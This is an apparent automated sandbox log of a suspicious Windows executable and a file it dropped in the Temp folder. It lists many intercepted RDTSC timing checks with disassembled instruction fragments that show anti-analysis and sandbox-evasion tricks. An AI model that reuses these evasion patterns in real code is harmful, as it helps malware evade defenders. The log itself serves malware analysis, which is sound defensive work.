Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF02C5 second address: 4FF0322 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a jmp 00007F4D45034D1Eh 0x0000000f test al, al 0x00000011 jmp 00007F4D45034D20h 0x00000016 je 00007F4D45034EC4h 0x0000001c jmp 00007F4D45034D20h 0x00000021 lea ecx, dword ptr [ebp-14h] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F4D45034D1Ah 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0322 second address: 4FF0328 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0328 second address: 4FF032E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0369 second address: 4FF036D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF036D second address: 4FF038A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF038A second address: 4FF03B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4D44D051A1h 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF03B8 second address: 4FF03CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF03CB second address: 4FF03FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call dword ptr [75AF86D4h] 0x0000000f mov edi, edi 0x00000011 push ebp 0x00000012 mov ebp, esp 0x00000014 push FFFFFFFEh 0x00000016 push 76F8CA08h 0x0000001b push 76EFAE00h 0x00000020 mov eax, dword ptr fs:[00000000h] 0x00000026 push eax 0x00000027 sub esp, 0Ch 0x0000002a push ebx 0x0000002b push esi 0x0000002c push edi 0x0000002d mov eax, dword ptr [76FAB370h] 0x00000032 xor dword ptr [ebp-08h], eax 0x00000035 xor eax, ebp 0x00000037 push eax 0x00000038 lea eax, dword ptr [ebp-10h] 0x0000003b mov dword ptr fs:[00000000h], eax 0x00000041 mov dword ptr [ebp-18h], esp 0x00000044 mov eax, dword ptr fs:[00000018h] 0x0000004a test eax, eax 0x0000004c je 00007F4D44D487E1h 0x00000052 mov dword ptr [ebp-04h], 00000000h 0x00000059 mov edx, dword ptr [ebp+08h] 0x0000005c mov dword ptr [eax+00000BF4h], edx 0x00000062 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000069 test edx, edx 0x0000006b je 00007F4D44D05239h 0x00000071 xor edx, edx 0x00000073 jmp 00007F4D44D05178h 0x00000075 mov eax, edx 0x00000077 mov ecx, dword ptr [ebp-10h] 0x0000007a mov dword ptr fs:[00000000h], ecx 0x00000081 pop ecx 0x00000082 pop edi 0x00000083 pop esi 0x00000084 pop ebx 0x00000085 mov esp, ebp 0x00000087 pop ebp 0x00000088 retn 0004h 0x0000008b push eax 0x0000008c push edx 0x0000008d jmp 00007F4D44D0519Dh 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF03FD second address: 4FF0403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0403 second address: 4FF0421 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4D44D051A2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0421 second address: 4FF047E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F4DB5AE2D72h 0x0000000f jmp 00007F4D45034D26h 0x00000014 js 00007F4D45034D73h 0x0000001a jmp 00007F4D45034D20h 0x0000001f cmp dword ptr [ebp-14h], edi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F4D45034D27h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF047E second address: 4FF04D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F4DB57B3196h 0x0000000f jmp 00007F4D44D0519Eh 0x00000014 mov ebx, dword ptr [ebp+08h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov di, 1400h 0x0000001e jmp 00007F4D44D051A9h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF04D3 second address: 4FF04D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF04D8 second address: 4FF0507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 lea eax, dword ptr [ebp-2Ch] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edi, si 0x00000010 pushfd 0x00000011 jmp 00007F4D44D0519Ch 0x00000016 and cx, 04A8h 0x0000001b jmp 00007F4D44D0519Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0507 second address: 4FF050E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF050E second address: 4FF0525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4D44D0519Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0525 second address: 4FF054F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c jmp 00007F4D45034D24h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov bl, 2Dh 0x00000017 mov bx, si 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF054F second address: 4FF0561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4D44D0519Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0561 second address: 4FF059C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F4D45034D29h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4D45034D1Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF059C second address: 4FF05EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov eax, 5A839DA3h 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F4D44D051A4h 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b call 00007F4D44D051A8h 0x00000020 pop ecx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF05EC second address: 4FF0607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4D45034D27h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0607 second address: 4FF060B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0627 second address: 4FF062D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF062D second address: 4FF0633 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0633 second address: 4FF0637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0637 second address: 4FF063B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF063B second address: 4FF0042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F4D45034D1Ch 0x0000000f je 00007F4DB5AE2D1Ah 0x00000015 xor eax, eax 0x00000017 jmp 00007F4D4500E44Ah 0x0000001c pop esi 0x0000001d pop edi 0x0000001e pop ebx 0x0000001f leave 0x00000020 retn 0004h 0x00000023 nop 0x00000024 mov edi, eax 0x00000026 cmp edi, 00000000h 0x00000029 setne al 0x0000002c xor ebx, ebx 0x0000002e test al, 01h 0x00000030 jne 00007F4D45034D17h 0x00000032 jmp 00007F4D45034E09h 0x00000037 call 00007F4D49A3C490h 0x0000003c mov edi, edi 0x0000003e jmp 00007F4D45034D1Bh 0x00000043 xchg eax, ebp 0x00000044 pushad 0x00000045 mov ebx, esi 0x00000047 mov eax, 6D92A8C7h 0x0000004c popad 0x0000004d push eax 0x0000004e jmp 00007F4D45034D1Dh 0x00000053 xchg eax, ebp 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F4D45034D28h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0042 second address: 4FF0048 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0048 second address: 4FF004D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF004D second address: 4FF0077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4D44D0519Ah 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f mov ax, 97DDh 0x00000013 mov dx, cx 0x00000016 popad 0x00000017 xchg eax, ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F4D44D0519Bh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0120 second address: 4FF0126 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0952 second address: 4FF0964 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4D44D0519Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0964 second address: 4FF0982 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4D45034D23h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0982 second address: 4FF09B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F4D44D0519Eh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF09B7 second address: 4FF09BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF09BC second address: 4FF09C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF09C2 second address: 4FF09C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF09C6 second address: 4FF09CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF09CA second address: 4FF09EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75AF459Ch], 05h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4D45034D1Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF09EC second address: 4FF09F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF09F2 second address: 4FF09F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF09F8 second address: 4FF09FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0CAF second address: 4FF0CBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0CBE second address: 4FF0CF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4D44D051A8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0CF9 second address: 4FF0D08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0D08 second address: 4FF0D0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0D0E second address: 4FF0D39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F4DB5AC897Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4D45034D20h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0D39 second address: 4FF0D3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0D3D second address: 4FF0D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000ABE second address: 5000AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000AC2 second address: 5000ADE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000ADE second address: 5000AE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000AE6 second address: 5000AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000AF4 second address: 5000AF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000AF8 second address: 5000AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000AFE second address: 5000B17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D0519Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000B17 second address: 5000B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000B1B second address: 5000B1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000B1F second address: 5000B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000B25 second address: 5000B4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4D44D0519Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000B4A second address: 5000B59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000B59 second address: 5000B5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000B5F second address: 5000B99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov eax, 5E1279F3h 0x0000000f mov ecx, 05D0C24Fh 0x00000014 popad 0x00000015 xchg eax, esi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushfd 0x0000001a jmp 00007F4D45034D1Eh 0x0000001f and eax, 0D1406F8h 0x00000025 jmp 00007F4D45034D1Bh 0x0000002a popfd 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000B99 second address: 5000BED instructions: 0x00000000 rdtsc 0x00000002 movzx esi, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F4D44D051A5h 0x0000000d and ecx, 1ED0F396h 0x00000013 jmp 00007F4D44D051A1h 0x00000018 popfd 0x00000019 popad 0x0000001a mov esi, dword ptr [ebp+0Ch] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 call 00007F4D44D051A6h 0x00000025 pop eax 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000BED second address: 5000BF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000BF3 second address: 5000C13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D0519Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4D44D0519Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000C13 second address: 5000C22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000C22 second address: 5000C60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D44D051A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F4DB579290Eh 0x0000000f jmp 00007F4D44D0519Eh 0x00000014 cmp dword ptr [75AF459Ch], 05h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000C60 second address: 5000C66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000C66 second address: 5000CA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F4DB57AA9BFh 0x0000000e jmp 00007F4D44D0519Dh 0x00000013 xchg eax, esi 0x00000014 jmp 00007F4D44D0519Eh 0x00000019 push eax 0x0000001a jmp 00007F4D44D0519Bh 0x0000001f xchg eax, esi 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000CA3 second address: 5000CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000CA7 second address: 5000CAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000CDA second address: 5000CF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4D45034D24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000CF2 second address: 5000D19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e mov ch, C1h 0x00000010 popad 0x00000011 mov dword ptr [esp], esi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F4D44D0519Fh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000D19 second address: 5000D36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4D45034D29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000D96 second address: 5000D9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000D9C second address: 5000DA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000DA0 second address: 5000DE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a mov di, 8838h 0x0000000e pushfd 0x0000000f jmp 00007F4D44D051A1h 0x00000014 xor cx, 5826h 0x00000019 jmp 00007F4D44D051A1h 0x0000001e popfd 0x0000001f popad 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F4D44D0519Dh 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: E4EC28 second address: E4EC2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FAEE09 second address: FAEE0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FCAC08 second address: FCAC1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4D45034D1Ah 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FCAFE0 second address: FCAFE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	RDTSC instruction interceptor: First address: FCAFE4 second address: FCAFE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
